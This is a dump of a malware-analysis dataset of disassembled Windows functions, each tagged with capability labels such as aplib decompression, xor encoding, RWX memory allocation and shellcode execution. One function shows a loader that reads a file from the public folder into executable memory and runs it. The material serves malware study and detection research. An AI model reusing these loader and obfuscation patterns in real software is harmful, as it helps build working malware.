joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1a83700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.01a8378f
jae 0x1a8370e
xor ecx, ecx
call fcn.01a8378f
jae 0x1a8373d
xor eax, eax
call fcn.01a8378f
jae 0x1a8374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.01a8378f
adc al, al
jae 0x1a8372f
jne 0x1a83779
stosb byte es:[edi], al
jmp 0x1a83711
call fcn.01a8379b
sub ecx, ebx
jne 0x1a83756
call fcn.01a83799
jmp 0x1a83775
lodsb al, byte [esi]
shr eax, 1
je 0x1a83783
adc ecx, ecx
jmp 0x1a83772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.01a83799
cmp eax, 0x7d00
jae 0x1a83772
cmp ah, 5
jae 0x1a83773
cmp eax, 0x7f
ja 0x1a83774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1a83711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x1adee11
Capabilities:
Encode data using xor

Disassembly:
mov eax, eax
add ecx, 1
lodsd eax, dword [esi]
cld
cmp dword [edx + 0x10], ecx
lea edi, [eax + ebx + 4]
lea edx, [edx]
je 0x1adedf1
xor eax, eax
imul eax, eax, 0xf
push eax
xor ecx, 0
nop
movzx eax, byte [edi - 4]
neg eax
cmp esp, ecx
cld
stc
sub edi, 0xfffffff1
lea eax, [eax]
add dword [esp], eax
lea edi, [edi - 0xe]
pop eax
cmp byte [edi - 4], 0xa
ja 0x1adeccf
and al, 0xff
nop
nop
mov eax, 0x6b060a11
xor dword [esp - 4], eax
mov eax, dword [esp + 4]
sub dword [esp - 4], eax
nop
lea edx, [edx]
cld
nop
jne 0x1adecb9
nop
nop
lea ebx, [ebx]
cld
mov ebx, ebx
add edx, 0x1b
inc eax
push dword [edx - 7]
dec eax
not al
not eax
adc eax, ebp
and al, 0x6b
pop edi
add edi, ebx
add ecx, ecx
add ecx, ebx
or eax, ecx
xchg al, ah
mov esi, dword [edx + 1]
mov ax, word [ecx + esi]
cwde
not edx
push dword [edi + eax*4]
jmp 0x1adefcb
ret
push 0xffffffffffffffff
lea edx, [ebx + 8]
xchg ecx, eax
dec edi
push dword [edx + 0x34]
not ch
lea esi, [edx - 8]
xchg edi, edi
add dword [esp], ebx
pop ecx
add edx, dword [ecx + 0x78]
mov al, 0x78
add esi, dword [edx + 0x18]
mov edi, edi
pop ecx
jmp 0x1adecb7
and ecx, 0x34
add dword [esp], ebx
pop esi
mov eax, dword [esp]
add esp, 8
jmp eax
Function at 0x8790b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00879200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x8790d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8790c2
add dl, dl
jne 0x8790e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x879134
xor eax, eax
add dl, dl
jne 0x8790ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8791d5
add dl, dl
jne 0x8790fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x879108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x879113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x87911e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x87912a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x8790cd
mov eax, 1
add dl, dl
jne 0x879142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x87914d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x879139
sub eax, ebx
mov ebx, 1
jne 0x879180
mov ecx, 1
add dl, dl
jne 0x879166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x879171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x87915d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8790cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x879197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8791a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x87918e
cmp eax, 0x7d00
jae 0x8791c5
cmp eax, 0x500
jb 0x8791c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8790cd
cmp eax, 0x7f
ja 0x8791c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8790cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x8791f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x8790cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.VirtualProtect
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x10c], 0x1000
call eax
mov esi, eax
test esi, esi
je 0x100010f6
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PUBLIC_Adobeg0Lx6JS0wh5xSutHE.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100010f6
push 0
lea edx, [ebp - 0x10c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100010f6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [ebp - 0x110]
push eax
push 0x40
push 0x100000
push esi
call ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001127
mov esp, ebp
pop ebp
ret

Function at 0x10001127
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001131
repz ret
jmp fcn.100013b3
Function at 0x408aa0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408f60
mov byte [esp], al
cmp byte [esp], 0
jne 0x408c29
test edi, edi
je 0x408c29
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408b69
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x408b44
cmp edi, 0xffffffff
je 0x408b05
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408b05
mov byte [esp], 0
jmp 0x408c29
cmp dword [esi], 1
jg 0x408b44
cmp dword [esi], 0
jne 0x408b36
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x408b36
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408c29
lea eax, [esp + 0xc]
call fcn.00408778
dec ebp
test ebp, ebp
jg 0x408aea
cmp edi, 0xffffffff
je 0x408b69
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408b67
mov byte [esp], 0
jmp 0x408c29
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408aae
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408b69
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408ca4
mov edx, eax
mov ebx, dword [0x6528fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408bcd
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408bcb
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408bcd
xor edi, edi
cmp byte [esp], 0
je 0x408bf3
mov ebx, dword [esi]
test bl, 1
jne 0x408c09
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408bd3
mov byte [esp + 1], 1
jmp 0x408c09
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408bf3
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408b80
cmp byte [esp], 0
je 0x408c29
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409af0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x65205c], 0
je 0x409b57
cmp word [0x652348], 0xd7b2
jne 0x409b19
cmp dword [0x652350], 0
jbe 0x409b19
mov eax, 0x652344
call dword [0x652360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409b84
call fcn.0040a618
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x649036], 0
jne 0x409b73
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x409d18
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x649038], 0
je 0x409d43
mov edx, edi
mov eax, esi
call dword [0x649038]
mov ebx, eax
jmp 0x409d54
mov eax, 8
call fcn.00407000
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x65205d], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409ce0
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409d84
mov eax, ebx
call fcn.0040701c
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x40d594
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40d6fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409e58
cmp si, word [0x649a18]
jb 0x40d62c
cmp si, word [0x649c18]
ja 0x40d62c
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40d62c
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x649a18]
jae 0x40d606
mov edi, ebx
dec edi
jmp 0x40d627
cmp si, word [ebx*8 + 0x649a18]
jbe 0x40d616
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40d627
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x649a1c]
call fcn.0040d4b0
jmp 0x40d62c
cmp edi, dword [ebp - 8]
jae 0x40d5f0
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40d6db
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40d6db
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a918
push dword [ebp - 0x160]
push 0x40d718
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a918
push dword [ebp - 0x164]
push 0x40d728
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a918
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040ab50
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d702
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409eb8
pop eax
jmp eax
Function at 0x40d8b0
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d9b6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x654c18
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x654c30]
jne 0x40d8fc
mov eax, esi
mov edx, 0x654c32
mov ecx, 0x55
call fcn.0040a918
push 0x654c18
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40d99e
push 0x654c18
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.00409e58
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40d96b
cmp byte [0x654c14], 0
je 0x40d930
mov edx, esi
mov eax, ebx
call fcn.0040d794
jmp 0x40d96b
mov edx, esi
mov eax, ebx
call fcn.0040d594
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40d96b
cmp dword [esi], 0
je 0x40d954
mov eax, esi
mov edx, 0x40d9d0
call fcn.0040aa70
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040d594
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040aa70
push 0x654c18
call sub.kernel32.dll_EnterCriticalSection
mov word [0x654c30], bx
mov eax, dword [esi]
call fcn.0040a864
mov ecx, eax
mov eax, 0x654c32
mov edx, 0xaa
call fcn.0040d410
push 0x654c18
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d9bd
lea eax, [ebp - 4]
call fcn.00409e58
pop eax
jmp eax
Function at 0x40e134
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00409f4c
xor eax, eax
push ebp
push 0x40e1f6
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040a918
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040aac8
mov eax, dword [ebx]
call fcn.0040dfdc
test al, al
jne 0x40e1d1
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040a918
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040aac8
mov eax, dword [ebx]
call fcn.0040dfdc
test al, al
jne 0x40e1d1
mov eax, ebx
call fcn.00409e58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e1fd
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00409eb8
lea eax, [ebp - 4]
call fcn.00409e58
pop eax
jmp eax

Function at 0x40fabc
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x421e60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x421eb9
test eax, edx
je 0x421ebc
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x421e77
movzx eax, word [eax]
sub eax, ecx
jmp 0x421e9e
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [eax + ecx]
xor ebx, dword [edx + ecx]
jne 0x421e9f
add ecx, 4
js 0x421e8f
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x421e9c
movzx eax, word [eax + ecx]
movzx edx, word [edx + ecx]
sub eax, edx
pop ebx
pop ebx
jmp 0x421e9e
xor eax, eax
ret
test eax, eax
je 0x421ec8
test edx, edx
jne 0x421e68
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret
Function at 0x423194
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x4232e8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x423134]
call fcn.0040caf0
add esp, 4
push 0x104
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x423164]
call fcn.0040caf0
add esp, 4
mov bl, 0
mov dl, 1
mov eax, esi
call fcn.00423478
test al, al
jne 0x42320a
mov dl, 1
mov eax, esi
call fcn.004233e0
test al, al
je 0x423294
lea edx, [ebp - 0x1c]
mov eax, esi
call fcn.00423804
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
call fcn.0042af2c
push 0x104
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x104
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a864
mov edi, eax
push edi
call sub.kernel32.dll_GetVolumeInformationW
test eax, eax
je 0x42328f
test byte [ebp - 0x14], 1
je 0x42325a
or bl, 1
test byte [ebp - 0x14], 2
je 0x423263
or bl, 2
test byte [ebp - 0x14], 0x80
je 0x42326c
or bl, 0x20
push edi
call sub.kernel32.dll_GetDriveTypeW
sub eax, 2
je 0x423280
dec eax
je 0x423285
dec eax
je 0x42328a
dec eax
jne 0x4232ac
or bl, 0x10
jmp 0x4232ac
or bl, 4
jmp 0x4232ac
or bl, 8
jmp 0x4232ac
call fcn.0042bf98
push esi
mov ecx, dword [0x651a84]
mov dl, 1
mov eax, dword [0x41c1fc]
call fcn.00429c64
call fcn.00409550
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4232ef
lea eax, [ebp - 0x1c]
call fcn.00409e58
lea eax, [ebp - 0xc]
mov edx, dword [0x423164]
call fcn.0040cc14
lea eax, [ebp - 8]
mov edx, dword [0x423134]
call fcn.0040cc14
lea eax, [ebp - 4]
call fcn.00409e58
pop eax
jmp eax

Function at 0x4233e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, esi
call fcn.0040a864
mov edi, eax
push edi
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x42344a
test ah, 4
je 0x423443
test bl, bl
jne 0x423408
mov al, 1
jmp 0x423471
test al, 0x10
je 0x423410
xor eax, eax
jmp 0x423471
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x423434
push eax
call sub.kernel32.dll_CloseHandle
mov al, 1
jmp 0x423471
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0x20
sete al
jmp 0x423471
test al, 0x10
sete al
jmp 0x423471
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x42346b
cmp ebx, 3
je 0x42346b
cmp ebx, 0x7b
je 0x42346b
mov eax, esi
call fcn.004233a0
test al, al
jne 0x42346f
xor eax, eax
jmp 0x423471
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x423478
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov byte [esp], dl
mov edi, eax
xor ebx, ebx
mov eax, edi
call fcn.0040a864
mov ebp, eax
push ebp
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
je 0x423516
test esi, 0x400
jne 0x4234ad
test esi, 0x10
setne bl
jmp 0x423516
cmp byte [esp], 0
je 0x4234e1
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x423516
push eax
call sub.kernel32.dll_CloseHandle
test esi, 0x10
setne bl
jmp 0x423516
test esi, 0x10
je 0x4234ed
mov bl, 1
jmp 0x423516
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x423514
push eax
call sub.kernel32.dll_CloseHandle
xor ebx, ebx
jmp 0x423516
mov bl, 1
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42364c
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, eax
mov eax, esi
call fcn.0040a864
mov ebp, eax
push ebp
call sub.kernel32.dll_DeleteFileW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
jne 0x4236a1
call sub.kernel32.dll_GetLastError
mov edi, eax
push ebp
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x42369b
test ah, 4
je 0x42369b
test al, 0x10
je 0x42369b
mov eax, esi
call fcn.0040a864
push eax
call sub.kernel32.dll_RemoveDirectoryW
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x4236a1
push edi
call sub.kernel32.dll_SetLastError
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4281b0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x4281e9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00409ff0
jmp 0x4281f2
mov eax, ebx
mov edx, esi
call fcn.0040a248
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4281fc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov edi, ecx
mov esi, edx
mov ebx, eax
push 3
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x428220
movzx eax, word [esp]
jmp 0x428222
mov eax, edi
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x429654
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x42977b
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0042945c
mov esi, eax
mov eax, dword [0x6518dc]
cmp byte [eax], 0
je 0x429721
mov eax, dword [0x651268]
call fcn.00407ab4
call fcn.00407174
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x429624]
call fcn.0040caf0
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x429794
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
jmp 0x42975d
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x651180]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x65563c]
call fcn.0040d0b4
push eax
call sub.user32.dll_LoadStringW
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x429782
lea eax, [ebp - 4]
mov edx, dword [0x429624]
call fcn.0040cc14
pop eax
jmp eax
Function at 0x42a7b0
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
mov dword [ebp - 0x11c], 0x114
lea eax, [ebp - 0x11c]
push eax
call sub.kernel32.dll_GetVersionExW
test eax, eax
je 0x42a7f3
mov eax, dword [ebp - 0x10c]
mov dword [0x6558f8], eax
mov eax, 0x6558fc
lea edx, [ebp - 0x108]
mov ecx, 0x80
call fcn.0040a918
mov eax, 0x655900
call fcn.00409e58
xor eax, eax
mov dword [0x655904], eax
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [0x6557bc], 0xa
jl 0x42a949
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x42a954
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x42a949
xor eax, eax
push ebp
push 0x42a942
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0x42a9b0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x42a8a2
cmp dword [ebp - 8], 2
jle 0x42a8a2
mov edx, dword [ebp - 8]
sub edx, 2
sar edx, 1
jns 0x42a875
adc edx, 0
mov eax, 0x655900
call fcn.0040a9f0
lea eax, [ebp - 8]
push eax
mov eax, dword [0x655900]
call fcn.0040a864
push eax
push 0
push 0
push 0x42a9b0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
jmp 0x42a8fc
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0x42a9d0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x42a8fc
cmp dword [ebp - 8], 2
jle 0x42a8fc
mov edx, dword [ebp - 8]
sub edx, 2
sar edx, 1
jns 0x42a8d1
adc edx, 0
mov eax, 0x655900
call fcn.0040a9f0
lea eax, [ebp - 8]
push eax
mov eax, dword [0x655900]
call fcn.0040a864
push eax
push 0
push 0
push 0x42a9d0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov dword [ebp - 8], 4
lea eax, [ebp - 8]
push eax
push 0x655904
push 0
push 0
push 0x42a9e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
je 0x42a929
xor eax, eax
mov dword [0x655904], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42a949
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
pop eax
jmp eax
mov byte [0x64b320], 1
mov esp, ebp
pop ebp
ret